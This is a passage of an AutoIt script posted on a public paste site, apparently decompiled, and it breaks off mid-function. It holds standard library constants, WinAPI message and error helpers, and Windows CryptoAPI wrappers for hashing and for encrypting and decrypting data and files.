Facebook
From Smelly Goat, 2 Months ago, written in Plain Text.
Embed
Download Paste or View Raw
Hits: 97
  1. #NoTrayIcon
  2. Global Const $fc_nooverwrite = 0
  3. Global Const $fc_overwrite = 1
  4. Global Const $fc_createpath = 8
  5. Global Const $ft_modified = 0
  6. Global Const $ft_created = 1
  7. Global Const $ft_accessed = 2
  8. Global Const $ft_array = 0
  9. Global Const $ft_string = 1
  10. Global Const $ft_msec = 2
  11. Global Const $ft_utc = 4
  12. Global Const $fsf_createbutton = 1
  13. Global Const $fsf_newdialog = 2
  14. Global Const $fsf_editcontrol = 4
  15. Global Const $ft_nonrecursive = 0
  16. Global Const $ft_recursive = 1
  17. Global Const $fo_read = 0
  18. Global Const $fo_append = 1
  19. Global Const $fo_overwrite = 2
  20. Global Const $fo_createpath = 8
  21. Global Const $fo_binary = 16
  22. Global Const $fo_unicode = 32
  23. Global Const $fo_utf16_le = 32
  24. Global Const $fo_utf16_be = 64
  25. Global Const $fo_utf8 = 128
  26. Global Const $fo_utf8_nobom = 256
  27. Global Const $fo_ansi = 512
  28. Global Const $fo_utf16_le_nobom = 1024
  29. Global Const $fo_utf16_be_nobom = 2048
  30. Global Const $fo_utf8_full = 16384
  31. Global Const $fo_fullfile_detect = 16384
  32. Global Const $eof = -1
  33. Global Const $fd_filemustexist = 1
  34. Global Const $fd_pathmustexist = 2
  35. Global Const $fd_multiselect = 4
  36. Global Const $fd_promptcreatenew = 8
  37. Global Const $fd_promptoverwrite = 16
  38. Global Const $create_new = 1
  39. Global Const $create_always = 2
  40. Global Const $open_existing = 3
  41. Global Const $open_always = 4
  42. Global Const $truncate_existing = 5
  43. Global Const $invalid_set_file_pointer = -1
  44. Global Const $file_begin = 0
  45. Global Const $file_current = 1
  46. Global Const $file_end = 2
  47. Global Const $file_attribute_readonly = 1
  48. Global Const $file_attribute_hidden = 2
  49. Global Const $file_attribute_system = 4
  50. Global Const $file_attribute_directory = 16
  51. Global Const $file_attribute_archive = 32
  52. Global Const $file_attribute_device = 64
  53. Global Const $file_attribute_normal = 128
  54. Global Const $file_attribute_temporary = 256
  55. Global Const $file_attribute_sparse_file = 512
  56. Global Const $file_attribute_reparse_point = 1024
  57. Global Const $file_attribute_compressed = 2048
  58. Global Const $file_attribute_offline = 4096
  59. Global Const $file_attribute_not_content_indexed = 8192
  60. Global Const $file_attribute_encrypted = 16384
  61. Global Const $file_share_read = 1
  62. Global Const $file_share_write = 2
  63. Global Const $file_share_delete = 4
  64. Global Const $file_share_readwrite = BitOR($file_share_read, $file_share_write)
  65. Global Const $file_share_any = BitOR($file_share_read, $file_share_write, $file_share_delete)
  66. Global Const $generic_all = 268435456
  67. Global Const $generic_execute = 536870912
  68. Global Const $generic_write = 1073741824
  69. Global Const $generic_read = -2147483648
  70. Global Const $generic_readwrite = BitOR($generic_read, $generic_write)
  71. Global Const $file_encoding_utf16le = 32
  72. Global Const $fe_entire_utf8 = 1
  73. Global Const $fe_partialfirst_utf8 = 2
  74. Global Const $fn_fullpath = 0
  75. Global Const $fn_relativepath = 1
  76. Global Const $fv_comments = "Comments"
  77. Global Const $fv_companyname = "CompanyName"
  78. Global Const $fv_filedescription = "FileDescription"
  79. Global Const $fv_fileversion = "FileVersion"
  80. Global Const $fv_internalname = "InternalName"
  81. Global Const $fv_legalcopyright = "LegalCopyright"
  82. Global Const $fv_legaltrademarks = "LegalTrademarks"
  83. Global Const $fv_originalfilename = "OriginalFilename"
  84. Global Const $fv_productname = "ProductName"
  85. Global Const $fv_productversion = "ProductVersion"
  86. Global Const $fv_privatebuild = "PrivateBuild"
  87. Global Const $fv_specialbuild = "SpecialBuild"
  88. Global Const $frta_nocount = 0
  89. Global Const $frta_count = 1
  90. Global Const $frta_intarrays = 2
  91. Global Const $frta_entiresplit = 4
  92. Global Const $flta_filesfolders = 0
  93. Global Const $flta_files = 1
  94. Global Const $flta_folders = 2
  95. Global Const $fltar_filesfolders = 0
  96. Global Const $fltar_files = 1
  97. Global Const $fltar_folders = 2
  98. Global Const $fltar_nohidden = 4
  99. Global Const $fltar_nosystem = 8
  100. Global Const $fltar_nolink = 16
  101. Global Const $fltar_norecur = 0
  102. Global Const $fltar_recur = 1
  103. Global Const $fltar_nosort = 0
  104. Global Const $fltar_sort = 1
  105. Global Const $fltar_fastsort = 2
  106. Global Const $fltar_nopath = 0
  107. Global Const $fltar_relpath = 1
  108. Global Const $fltar_fullpath = 2
  109. Global Const $path_original = 0
  110. Global Const $path_drive = 1
  111. Global Const $path_directory = 2
  112. Global Const $path_filename = 3
  113. Global Const $path_extension = 4
  114. Global Const $mb_ok = 0
  115. Global Const $mb_okcancel = 1
  116. Global Const $mb_abortretryignore = 2
  117. Global Const $mb_yesnocancel = 3
  118. Global Const $mb_yesno = 4
  119. Global Const $mb_retrycancel = 5
  120. Global Const $mb_canceltrycontinue = 6
  121. Global Const $mb_help = 16384
  122. Global Const $mb_iconnone = 0
  123. Global Const $mb_iconstop = 16
  124. Global Const $mb_iconerror = 16
  125. Global Const $mb_iconhand = 16
  126. Global Const $mb_iconquestion = 32
  127. Global Const $mb_iconexclamation = 48
  128. Global Const $mb_iconwarning = 48
  129. Global Const $mb_iconinformation = 64
  130. Global Const $mb_iconasterisk = 64
  131. Global Const $mb_usericon = 128
  132. Global Const $mb_defbutton1 = 0
  133. Global Const $mb_defbutton2 = 256
  134. Global Const $mb_defbutton3 = 512
  135. Global Const $mb_defbutton4 = 768
  136. Global Const $mb_applmodal = 0
  137. Global Const $mb_systemmodal = 4096
  138. Global Const $mb_taskmodal = 8192
  139. Global Const $mb_default_desktop_only = 131072
  140. Global Const $mb_right = 524288
  141. Global Const $mb_rtlreading = 1048576
  142. Global Const $mb_setforeground = 65536
  143. Global Const $mb_topmost = 262144
  144. Global Const $mb_service_notification = 2097152
  145. Global Const $mb_rightjustified = $mb_right
  146. Global Const $idtimeout = -1
  147. Global Const $idok = 1
  148. Global Const $idcancel = 2
  149. Global Const $idabort = 3
  150. Global Const $idretry = 4
  151. Global Const $idignore = 5
  152. Global Const $idyes = 6
  153. Global Const $idno = 7
  154. Global Const $idclose = 8
  155. Global Const $idhelp = 9
  156. Global Const $idtryagain = 10
  157. Global Const $idcontinue = 11
  158. Global Const $str_nocasesense = 0
  159. Global Const $str_casesense = 1
  160. Global Const $str_nocasesensebasic = 2
  161. Global Const $str_stripleading = 1
  162. Global Const $str_striptrailing = 2
  163. Global Const $str_stripspaces = 4
  164. Global Const $str_stripall = 8
  165. Global Const $str_chrsplit = 0
  166. Global Const $str_entiresplit = 1
  167. Global Const $str_nocount = 2
  168. Global Const $str_regexpmatch = 0
  169. Global Const $str_regexparraymatch = 1
  170. Global Const $str_regexparrayfullmatch = 2
  171. Global Const $str_regexparrayglobalmatch = 3
  172. Global Const $str_regexparrayglobalfullmatch = 4
  173. Global Const $str_endisstart = 0
  174. Global Const $str_endnotstart = 1
  175. Global Const $sb_ansi = 1
  176. Global Const $sb_utf16le = 2
  177. Global Const $sb_utf16be = 3
  178. Global Const $sb_utf8 = 4
  179. Global Const $se_utf16 = 0
  180. Global Const $se_ansi = 1
  181. Global Const $se_utf8 = 2
  182. Global Const $str_utf16 = 0
  183. Global Const $str_ucs2 = 1
  184. #Region Global Variables and Constants
  185.         Global Const $format_message_allocate_buffer = 256
  186.         Global Const $format_message_ignore_inserts = 512
  187.         Global Const $format_message_from_string = 1024
  188.         Global Const $format_message_from_hmodule = 2048
  189.         Global Const $format_message_from_system = 4096
  190.         Global Const $format_message_argument_array = 8192
  191. #EndRegion Global Variables and Constants
  192.  
  193. Func _winapi_beep($ifreq = 500, $iduration = 1000)
  194.         Local $acall = DllCall("kernel32.dll", "bool", "Beep", "dword", $ifreq, "dword", $iduration)
  195.         If @error Then Return SetError(@error, @extended, False)
  196.         Return $acall[0]
  197. EndFunc
  198.  
  199. Func _winapi_formatmessage($iflags, $psource, $imessageid, $ilanguageid, ByRef $pbuffer, $isize, $varguments)
  200.         Local $sbuffertype = "struct*"
  201.         If IsString($pbuffer) Then $sbuffertype = "wstr"
  202.         Local $acall = DllCall("kernel32.dll", "dword", "FormatMessageW", "dword", $iflags, "struct*", $psource, "dword", $imessageid, "dword", $ilanguageid, $sbuffertype, $pbuffer, "dword", $isize, "ptr", $varguments)
  203.         If @error Then Return SetError(@error, @extended, 0)
  204.         If NOT $acall[0] Then Return SetError(10, _winapi_getlasterror(), 0)
  205.         If $sbuffertype = "wstr" Then $pbuffer = $acall[5]
  206.         Return $acall[0]
  207. EndFunc
  208.  
  209. Func _winapi_geterrormessage($icode, $ilanguage = 0, Const $_icallererror = @error, Const $_icallerextended = @extended)
  210.         Local $acall = DllCall("kernel32.dll", "dword", "FormatMessageW", "dword", BitOR($format_message_from_system, $format_message_ignore_inserts), "ptr", 0, "dword", $icode, "dword", $ilanguage, "wstr", "", "dword", 4096, "ptr", 0)
  211.         If @error OR NOT $acall[0] Then Return SetError(@error, @extended, "")
  212.         Return SetError($_icallererror, $_icallerextended, StringRegExpReplace($acall[5], "[" & @LF & "," & @CR & "]*\Z", ""))
  213. EndFunc
  214.  
  215. Func _winapi_getlasterror(Const $_icallererror = @error, Const $_icallerextended = @extended)
  216.         Local $acall = DllCall("kernel32.dll", "dword", "GetLastError")
  217.         Return SetError($_icallererror, $_icallerextended, $acall[0])
  218. EndFunc
  219.  
  220. Func _winapi_getlasterrormessage(Const $_icallererror = @error, Const $_icallerextended = @extended)
  221.         Local $ilasterror = _winapi_getlasterror()
  222.         Local $tbufferptr = DllStructCreate("ptr")
  223.         Local $ncount = _winapi_formatmessage(BitOR($format_message_allocate_buffer, $format_message_from_system, $format_message_ignore_inserts), 0, $ilasterror, 0, $tbufferptr, 0, 0)
  224.         If @error Then Return SetError(-@error, @extended, "")
  225.         Local $stext = ""
  226.         Local $pbuffer = DllStructGetData($tbufferptr, 1)
  227.         If $pbuffer Then
  228.                 If $ncount > 0 Then
  229.                         Local $tbuffer = DllStructCreate("wchar[" & ($ncount + 1) & "]", $pbuffer)
  230.                         $stext = DllStructGetData($tbuffer, 1)
  231.                         If StringRight($stext, 2) = @CRLF Then $stext = StringTrimRight($stext, 2)
  232.                 EndIf
  233.                 DllCall("kernel32.dll", "handle", "LocalFree", "handle", $pbuffer)
  234.         EndIf
  235.         Return SetError($_icallererror, $_icallerextended, $stext)
  236. EndFunc
  237.  
  238. Func _winapi_messagebeep($itype = 1)
  239.         Local $isound
  240.         Switch $itype
  241.                 Case 1
  242.                         $isound = 0
  243.                 Case 2
  244.                         $isound = 16
  245.                 Case 3
  246.                         $isound = 32
  247.                 Case 4
  248.                         $isound = 48
  249.                 Case 5
  250.                         $isound = 64
  251.                 Case Else
  252.                         $isound = -1
  253.         EndSwitch
  254.         Local $acall = DllCall("user32.dll", "bool", "MessageBeep", "uint", $isound)
  255.         If @error Then Return SetError(@error, @extended, False)
  256.         Return $acall[0]
  257. EndFunc
  258.  
  259. Func _winapi_msgbox($iflags, $stitle, $stext)
  260.         BlockInput(0)
  261.         MsgBox($iflags, $stitle, $stext & "      ")
  262. EndFunc
  263.  
  264. Func _winapi_setlasterror($ierrorcode, Const $_icallererror = @error, Const $_icallerextended = @extended)
  265.         DllCall("kernel32.dll", "none", "SetLastError", "dword", $ierrorcode)
  266.         Return SetError($_icallererror, $_icallerextended, NULL )
  267. EndFunc
  268.  
  269. Func _winapi_showerror($stext, $bexit = True)
  270.         BlockInput(0)
  271.         MsgBox($mb_systemmodal, "Error", $stext & "      ")
  272.         If $bexit Then Exit
  273. EndFunc
  274.  
  275. Func _winapi_showlasterror($stext = "", $babort = False, $ilanguage = 0, Const $_icallererror = @error, Const $_icallerextended = @extended)
  276.         Local $serror
  277.         Local $ilasterror = _winapi_getlasterror()
  278.         While 1
  279.                 $serror = _winapi_geterrormessage($ilasterror, $ilanguage)
  280.                 If @error AND $ilanguage Then
  281.                         $ilanguage = 0
  282.                 Else
  283.                         ExitLoop
  284.                 EndIf
  285.         WEnd
  286.         If StringStripWS($stext, $str_stripleading + $str_striptrailing) Then
  287.                 $stext &= @CRLF & @CRLF
  288.         Else
  289.                 $stext = ""
  290.         EndIf
  291.         _winapi_msgbox(BitOR(262144, BitShift(16, -2 * (NOT $ilasterror))), $ilasterror, $stext & $serror)
  292.         If $ilasterror Then
  293.                 _winapi_setlasterror($ilasterror)
  294.                 If $babort Then
  295.                         Exit $ilasterror
  296.                 EndIf
  297.         EndIf
  298.         Return SetError($_icallererror, $_icallerextended, 1)
  299. EndFunc
  300.  
  301. Func _winapi_showmsg($stext)
  302.         _winapi_msgbox($mb_systemmodal, "Information", $stext)
  303. EndFunc
  304.  
  305. Func __comerrorformating(ByRef $ocomerror, $sprefix = @TAB)
  306.         Local Const $str_striptrailing = 2
  307.         Local $serror = "COM Error encountered in " & @ScriptName & " (" & $ocomerror.scriptline & ") :" & @CRLF & $sprefix & "Number        " & @TAB & "= 0x" & Hex($ocomerror.number, 8) & " (" & $ocomerror.number & ")" & @CRLF & $sprefix & "WinDescription" & @TAB & "= " & StringStripWS($ocomerror.windescription, $str_striptrailing) & @CRLF & $sprefix & "Description   " & @TAB & "= " & StringStripWS($ocomerror.description, $str_striptrailing) & @CRLF & $sprefix & "Source        " & @TAB & "= " & $ocomerror.source & @CRLF & $sprefix & "HelpFile      " & @TAB & "= " & $ocomerror.helpfile & @CRLF & $sprefix & "HelpContext   " & @TAB & "= " & $ocomerror.helpcontext & @CRLF & $sprefix & "LastDllError  " & @TAB & "= " & $ocomerror.lastdllerror & @CRLF & $sprefix & "Retcode       " & @TAB & "= 0x" & Hex($ocomerror.retcode)
  308.         Return $serror
  309. EndFunc
  310.  
  311. Global Const $prov_rsa_full = 1
  312. Global Const $prov_rsa_aes = 24
  313. Global Const $crypt_verifycontext = -268435456
  314. Global Const $hp_hashsize = 4
  315. Global Const $hp_hashval = 2
  316. Global Const $crypt_exportable = 1
  317. Global Const $crypt_userdata = 1
  318. Global Const $kp_algid = 7
  319. Global Const $calg_md2 = 32769
  320. Global Const $calg_md4 = 32770
  321. Global Const $calg_md5 = 32771
  322. Global Const $calg_sha1 = 32772
  323. Global Const $calg_sha_256 = 32780
  324. Global Const $calg_sha_384 = 32781
  325. Global Const $calg_sha_512 = 32782
  326. Global Const $calg_3des = 26115
  327. Global Const $calg_aes_128 = 26126
  328. Global Const $calg_aes_192 = 26127
  329. Global Const $calg_aes_256 = 26128
  330. Global Const $calg_des = 26113
  331. Global Const $calg_rc2 = 26114
  332. Global Const $calg_rc4 = 26625
  333. Global Const $calg_userkey = 0
  334. Global $__g_acryptinternaldata[3]
  335.  
  336. Func _crypt_startup()
  337.         If __crypt_refcount() = 0 Then
  338.                 Local $hadvapi32 = DllOpen("Advapi32.dll")
  339.                 If $hadvapi32 = -1 Then Return SetError(1001, 0, False)
  340.                 __crypt_dllhandleset($hadvapi32)
  341.                 Local $iproviderid = $prov_rsa_aes
  342.                 Local $acall = DllCall(__crypt_dllhandle(), "bool", "CryptAcquireContext", "handle*", 0, "ptr", 0, "ptr", 0, "dword", $iproviderid, "dword", $crypt_verifycontext)
  343.                 If @error OR NOT $acall[0] Then
  344.                         Local $ierror = @error + 1002, $iextended = @extended
  345.                         If NOT $acall[0] Then $iextended = _winapi_getlasterror()
  346.                         DllClose(__crypt_dllhandle())
  347.                         Return SetError($ierror, $iextended, False)
  348.                 Else
  349.                         __crypt_contextset($acall[1])
  350.                 EndIf
  351.         EndIf
  352.         __crypt_refcountinc()
  353.         Return True
  354. EndFunc
  355.  
  356. Func _crypt_shutdown()
  357.         __crypt_refcountdec()
  358.         If __crypt_refcount() = 0 Then
  359.                 DllCall(__crypt_dllhandle(), "bool", "CryptReleaseContext", "handle", __crypt_context(), "dword", 0)
  360.                 DllClose(__crypt_dllhandle())
  361.         EndIf
  362. EndFunc
  363.  
  364. Func _crypt_derivekey($vpassword, $ialgid, $ihashpasswordid = $calg_md5)
  365.         Local $acall, $tbuff = 0, $hcrypthash = 0, $ierror = 0, $iextended = 0, $vreturn = 0
  366.         _crypt_startup()
  367.         If @error Then Return SetError(@error, @extended, -1)
  368.         Do
  369.                 $acall = DllCall(__crypt_dllhandle(), "bool", "CryptCreateHash", "handle", __crypt_context(), "uint", $ihashpasswordid, "ptr", 0, "dword", 0, "handle*", 0)
  370.                 If @error OR NOT $acall[0] Then
  371.                         $ierror = @error + 10
  372.                         $iextended = @extended
  373.                         If NOT $acall[0] Then $iextended = _winapi_getlasterror()
  374.                         $vreturn = -1
  375.                         ExitLoop
  376.                 EndIf
  377.                 $hcrypthash = $acall[5]
  378.                 $tbuff = DllStructCreate("byte[" & BinaryLen($vpassword) & "]")
  379.                 DllStructSetData($tbuff, 1, $vpassword)
  380.                 $acall = DllCall(__crypt_dllhandle(), "bool", "CryptHashData", "handle", $hcrypthash, "struct*", $tbuff, "dword", DllStructGetSize($tbuff), "dword", $crypt_userdata)
  381.                 If @error OR NOT $acall[0] Then
  382.                         $ierror = @error + 20
  383.                         $iextended = @extended
  384.                         If NOT $acall[0] Then $iextended = _winapi_getlasterror()
  385.                         $vreturn = -1
  386.                         ExitLoop
  387.                 EndIf
  388.                 $acall = DllCall(__crypt_dllhandle(), "bool", "CryptDeriveKey", "handle", __crypt_context(), "uint", $ialgid, "handle", $hcrypthash, "dword", $crypt_exportable, "handle*", 0)
  389.                 If @error OR NOT $acall[0] Then
  390.                         $ierror = @error + 30
  391.                         $iextended = @extended
  392.                         If NOT $acall[0] Then $iextended = _winapi_getlasterror()
  393.                         $vreturn = -1
  394.                         ExitLoop
  395.                 EndIf
  396.                 $vreturn = $acall[5]
  397.         Until True
  398.         If $hcrypthash <> 0 Then DllCall(__crypt_dllhandle(), "bool", "CryptDestroyHash", "handle", $hcrypthash)
  399.         Return SetError($ierror, $iextended, $vreturn)
  400. EndFunc
  401.  
  402. Func _crypt_destroykey($hcryptkey)
  403.         Local $acall = DllCall(__crypt_dllhandle(), "bool", "CryptDestroyKey", "handle", $hcryptkey)
  404.         Local $ierror = @error
  405.         If $ierror OR NOT $acall[0] Then
  406.                 Return SetError($ierror + 10, _winapi_getlasterror(), False)
  407.         Else
  408.                 _crypt_shutdown()
  409.                 Return True
  410.         EndIf
  411. EndFunc
  412.  
  413. Func _crypt_encryptdata($vdata, $vcryptkey, $ialgid, $bfinal = True)
  414.         Switch $ialgid
  415.                 Case $calg_userkey
  416.                         Local $icalgused = __crypt_getcalgfromcryptkey($vcryptkey)
  417.                         If @error Then Return SetError(@error, @extended, -1)
  418.                         If $icalgused = $calg_rc4 Then ContinueCase
  419.                 Case $calg_rc4
  420.                         If BinaryLen($vdata) = 0 Then Return SetError(0, 0, Binary(""))
  421.         EndSwitch
  422.         Local $ireqbuffsize = 0, $acall, $tbuff = 0, $ierror = 0, $iextended = 0, $vreturn = 0
  423.         _crypt_startup()
  424.         If @error Then Return SetError(@error, @extended, -1)
  425.         Do
  426.                 If $ialgid <> $calg_userkey Then
  427.                         $vcryptkey = _crypt_derivekey($vcryptkey, $ialgid)
  428.                         If @error Then
  429.                                 $ierror = @error
  430.                                 $iextended = @extended
  431.                                 $vreturn = -1
  432.                                 ExitLoop
  433.                         EndIf
  434.                 EndIf
  435.                 $acall = DllCall(__crypt_dllhandle(), "bool", "CryptEncrypt", "handle", $vcryptkey, "handle", 0, "bool", $bfinal, "dword", 0, "ptr", 0, "dword*", BinaryLen($vdata), "dword", 0)
  436.                 If @error OR NOT $acall[0] Then
  437.                         $ierror = @error + 50
  438.                         $iextended = @extended
  439.                         If NOT $acall[0] Then $iextended = _winapi_getlasterror()
  440.                         $vreturn = -1
  441.                         ExitLoop
  442.                 EndIf
  443.                 $ireqbuffsize = $acall[6]
  444.                 $tbuff = DllStructCreate("byte[" & $ireqbuffsize + 1 & "]")
  445.                 DllStructSetData($tbuff, 1, $vdata)
  446.                 $acall = DllCall(__crypt_dllhandle(), "bool", "CryptEncrypt", "handle", $vcryptkey, "handle", 0, "bool", $bfinal, "dword", 0, "struct*", $tbuff, "dword*", BinaryLen($vdata), "dword", $ireqbuffsize)
  447.                 If @error OR NOT $acall[0] Then
  448.                         $ierror = @error + 60
  449.                         $iextended = @extended
  450.                         If NOT $acall[0] Then $iextended = _winapi_getlasterror()
  451.                         $vreturn = -1
  452.                         ExitLoop
  453.                 EndIf
  454.                 $vreturn = BinaryMid(DllStructGetData($tbuff, 1), 1, $ireqbuffsize)
  455.         Until True
  456.         If $ialgid <> $calg_userkey Then _crypt_destroykey($vcryptkey)
  457.         _crypt_shutdown()
  458.         Return SetError($ierror, $iextended, $vreturn)
  459. EndFunc
  460.  
  461. Func _crypt_decryptdata($vdata, $vcryptkey, $ialgid, $bfinal = True)
  462.         Switch $ialgid
  463.                 Case $calg_userkey
  464.                         Local $icalgused = __crypt_getcalgfromcryptkey($vcryptkey)
  465.                         If @error Then Return SetError(@error, @extended, -1)
  466.                         If $icalgused = $calg_rc4 Then ContinueCase
  467.                 Case $calg_rc4
  468.                         If BinaryLen($vdata) = 0 Then Return SetError(0, 0, Binary(""))
  469.         EndSwitch
  470.         Local $acall, $tbuff = 0, $ttempstruct = 0, $ierror = 0, $iextended = 0, $iplaintextsize = 0, $vreturn = 0
  471.         _crypt_startup()
  472.         If @error Then Return SetError(@error, @extended, -1)
  473.         Do
  474.                 If $ialgid <> $calg_userkey Then
  475.                         $vcryptkey = _crypt_derivekey($vcryptkey, $ialgid)
  476.                         If @error Then
  477.                                 $ierror = @error
  478.                                 $iextended = @extended
  479.                                 $vreturn = -1
  480.                                 ExitLoop
  481.                         EndIf
  482.                 EndIf
  483.                 $tbuff = DllStructCreate("byte[" & BinaryLen($vdata) + 1000 & "]")
  484.                 If BinaryLen($vdata) > 0 Then DllStructSetData($tbuff, 1, $vdata)
  485.                 $acall = DllCall(__crypt_dllhandle(), "bool", "CryptDecrypt", "handle", $vcryptkey, "handle", 0, "bool", $bfinal, "dword", 0, "struct*", $tbuff, "dword*", BinaryLen($vdata))
  486.                 If @error OR NOT $acall[0] Then
  487.                         $ierror = @error + 70
  488.                         $iextended = @extended
  489.                         If NOT $acall[0] Then $iextended = _winapi_getlasterror()
  490.                         $vreturn = -1
  491.                         ExitLoop
  492.                 EndIf
  493.                 $iplaintextsize = $acall[6]
  494.                 $ttempstruct = DllStructCreate("byte[" & $iplaintextsize + 1 & "]", DllStructGetPtr($tbuff))
  495.                 $vreturn = BinaryMid(DllStructGetData($ttempstruct, 1), 1, $iplaintextsize)
  496.         Until True
  497.         If $ialgid <> $calg_userkey Then _crypt_destroykey($vcryptkey)
  498.         _crypt_shutdown()
  499.         Return SetError($ierror, $iextended, $vreturn)
  500. EndFunc
  501.  
  502. Func _crypt_hashdata($vdata, $ialgid, $bfinal = True, $hcrypthash = 0)
  503.         Local $acall, $tbuff = 0, $ierror = 0, $iextended = 0, $ihashsize = 0, $vreturn = 0
  504.         _crypt_startup()
  505.         If @error Then Return SetError(@error, @extended, -1)
  506.         Do
  507.                 If $hcrypthash = 0 Then
  508.                         $acall = DllCall(__crypt_dllhandle(), "bool", "CryptCreateHash", "handle", __crypt_context(), "uint", $ialgid, "ptr", 0, "dword", 0, "handle*", 0)
  509.                         If @error OR NOT $acall[0] Then
  510.                                 $ierror = @error + 10
  511.                                 $iextended = @extended
  512.                                 If NOT $acall[0] Then $iextended = _winapi_getlasterror()
  513.                                 $vreturn = -1
  514.                                 ExitLoop
  515.                         EndIf
  516.                         $hcrypthash = $acall[5]
  517.                 EndIf
  518.                 $tbuff = DllStructCreate("byte[" & BinaryLen($vdata) & "]")
  519.                 DllStructSetData($tbuff, 1, $vdata)
  520.                 $acall = DllCall(__crypt_dllhandle(), "bool", "CryptHashData", "handle", $hcrypthash, "struct*", $tbuff, "dword", DllStructGetSize($tbuff), "dword", $crypt_userdata)
  521.                 If @error OR NOT $acall[0] Then
  522.                         $ierror = @error + 20
  523.                         $iextended = @extended
  524.                         If NOT $acall[0] Then $iextended = _winapi_getlasterror()
  525.                         $vreturn = -1
  526.                         ExitLoop
  527.                 EndIf
  528.                 If $bfinal Then
  529.                         $acall = DllCall(__crypt_dllhandle(), "bool", "CryptGetHashParam", "handle", $hcrypthash, "dword", $hp_hashsize, "dword*", 0, "dword*", 4, "dword", 0)
  530.                         If @error OR NOT $acall[0] Then
  531.                                 $ierror = @error + 30
  532.                                 $iextended = @extended
  533.                                 If NOT $acall[0] Then $iextended = _winapi_getlasterror()
  534.                                 $vreturn = -1
  535.                                 ExitLoop
  536.                         EndIf
  537.                         $ihashsize = $acall[3]
  538.                         $tbuff = DllStructCreate("byte[" & $ihashsize & "]")
  539.                         $acall = DllCall(__crypt_dllhandle(), "bool", "CryptGetHashParam", "handle", $hcrypthash, "dword", $hp_hashval, "struct*", $tbuff, "dword*", $ihashsize, "dword", 0)
  540.                         If @error OR NOT $acall[0] Then
  541.                                 $ierror = @error + 40
  542.                                 $iextended = @extended
  543.                                 If NOT $acall[0] Then $iextended = _winapi_getlasterror()
  544.                                 $vreturn = -1
  545.                                 ExitLoop
  546.                         EndIf
  547.                         $vreturn = DllStructGetData($tbuff, 1)
  548.                 Else
  549.                         $vreturn = $hcrypthash
  550.                 EndIf
  551.         Until True
  552.         If $hcrypthash <> 0 AND $bfinal Then DllCall(__crypt_dllhandle(), "bool", "CryptDestroyHash", "handle", $hcrypthash)
  553.         _crypt_shutdown()
  554.         Return SetError($ierror, $iextended, $vreturn)
  555. EndFunc
  556.  
  557. Func _crypt_hashfile($sfilepath, $ialgid)
  558.         Local $dtempdata = 0, $hfile = 0, $hhashobject = 0, $ierror = 0, $iextended = 0, $vreturn = 0
  559.         _crypt_startup()
  560.         If @error Then Return SetError(@error, @extended, -1)
  561.         Do
  562.                 $hfile = FileOpen($sfilepath, $fo_binary)
  563.                 If $hfile = -1 Then
  564.                         $ierror = 1
  565.                         $iextended = _winapi_getlasterror()
  566.                         $vreturn = -1
  567.                         ExitLoop
  568.                 EndIf
  569.                 Do
  570.                         $dtempdata = FileRead($hfile, 512 * 1024)
  571.                         If @error Then
  572.                                 $vreturn = _crypt_hashdata($dtempdata, $ialgid, True, $hhashobject)
  573.                                 If @error Then
  574.                                         $ierror = @error
  575.                                         $iextended = @extended
  576.                                         $vreturn = -1
  577.                                         ExitLoop 2
  578.                                 EndIf
  579.                                 ExitLoop 2
  580.                         Else
  581.                                 $hhashobject = _crypt_hashdata($dtempdata, $ialgid, False, $hhashobject)
  582.                                 If @error Then
  583.                                         $ierror = @error + 100
  584.                                         $iextended = @extended
  585.                                         $vreturn = -1
  586.                                         ExitLoop 2
  587.                                 EndIf
  588.                         EndIf
  589.                 Until False
  590.         Until True
  591.         _crypt_shutdown()
  592.         If $hfile <> -1 Then FileClose($hfile)
  593.         Return SetError($ierror, $iextended, $vreturn)
  594. EndFunc
  595.  
  596. Func _crypt_encryptfile($ssourcefile, $sdestinationfile, $vcryptkey, $ialgid)
  597.         Local $dtempdata = 0, $hinfile = 0, $houtfile = 0, $ierror = 0, $iextended = 0, $ifilesize = FileGetSize($ssourcefile), $iread = 0, $breturn = True
  598.         _crypt_startup()
  599.         If @error Then Return SetError(@error, @extended, -1)
  600.         Do
  601.                 If $ialgid <> $calg_userkey Then
  602.                         $vcryptkey = _crypt_derivekey($vcryptkey, $ialgid)
  603.                         If @error Then
  604.                                 $ierror = @error
  605.                                 $iextended = @extended
  606.                                 $breturn = False
  607.                                 ExitLoop
  608.                         EndIf
  609.                 EndIf
  610.                 $hinfile = FileOpen($ssourcefile, $fo_binary)
  611.                 If $hinfile = -1 Then
  612.                         $ierror = 2
  613.                         $iextended = _winapi_getlasterror()
  614.                         $breturn = False
  615.                         ExitLoop
  616.                 EndIf
  617.                 $houtfile = FileOpen($sdestinationfile, $fo_overwrite + $fo_createpath + $fo_binary)
  618.                 If $houtfile = -1 Then
  619.                         $ierror = 3
  620.                         $iextended = _winapi_getlasterror()
  621.                         $breturn = False
  622.                         ExitLoop
  623.                 EndIf
  624.                 Do
  625.                         $dtempdata = FileRead($hinfile, 1024 * 1024)
  626.                         $iread += BinaryLen($dtempdata)
  627.                         If $iread = $ifilesize Then
  628.                                 $dtempdata = _crypt_encryptdata($dtempdata, $vcryptkey, $calg_userkey, True)
  629.                                 If @error Then
  630.                                         $ierror = @error + 400
  631.                                         $iextended = @extended
  632.                                         $breturn = False
  633.                                 EndIf
  634.                                 FileWrite($houtfile, $dtempdata)
  635.                                 ExitLoop 2
  636.                         Else
  637.                                 $dtempdata = _crypt_encryptdata($dtempdata, $vcryptkey, $calg_userkey, False)
  638.                                 If @error Then
  639.                                         $ierror = @error + 500
  640.                                         $iextended = @extended
  641.                                         $breturn = False
  642.                                         ExitLoop 2
  643.                                 EndIf
  644.                                 FileWrite($houtfile, $dtempdata)
  645.                         EndIf
  646.                 Until False
  647.         Until True
  648.         If $ialgid <> $calg_userkey Then _crypt_destroykey($vcryptkey)
  649.         _crypt_shutdown()
  650.         If $hinfile <> -1 Then FileClose($hinfile)
  651.         If $houtfile <> -1 Then FileClose($houtfile)
  652.         Return SetError($ierror, $iextended, $breturn)
  653. EndFunc
  654.  
  655. Func _crypt_decryptfile($ssourcefile, $sdestinationfile, $vcryptkey, $ialgid)
  656.         Local $dtempdata = 0, $hinfile = 0, $houtfile = 0, $ierror = 0, $iextended = 0, $ifilesize = FileGetSize($ssourcefile), $iread = 0, $breturn = True
  657.         _crypt_startup()
  658.         If @error Then Return SetError(@error, @extended, -1)
  659.         Do
  660.                 If $ialgid <> $calg_userkey Then
  661.                         $vcryptkey = _crypt_derivekey($vcryptkey, $ialgid)
  662.                         If @error Then
  663.                                 $ierror = @error
  664.                                 $iextended = @extended
  665.                                 $breturn = False
  666.                                 ExitLoop
  667.                         EndIf
  668.                 EndIf
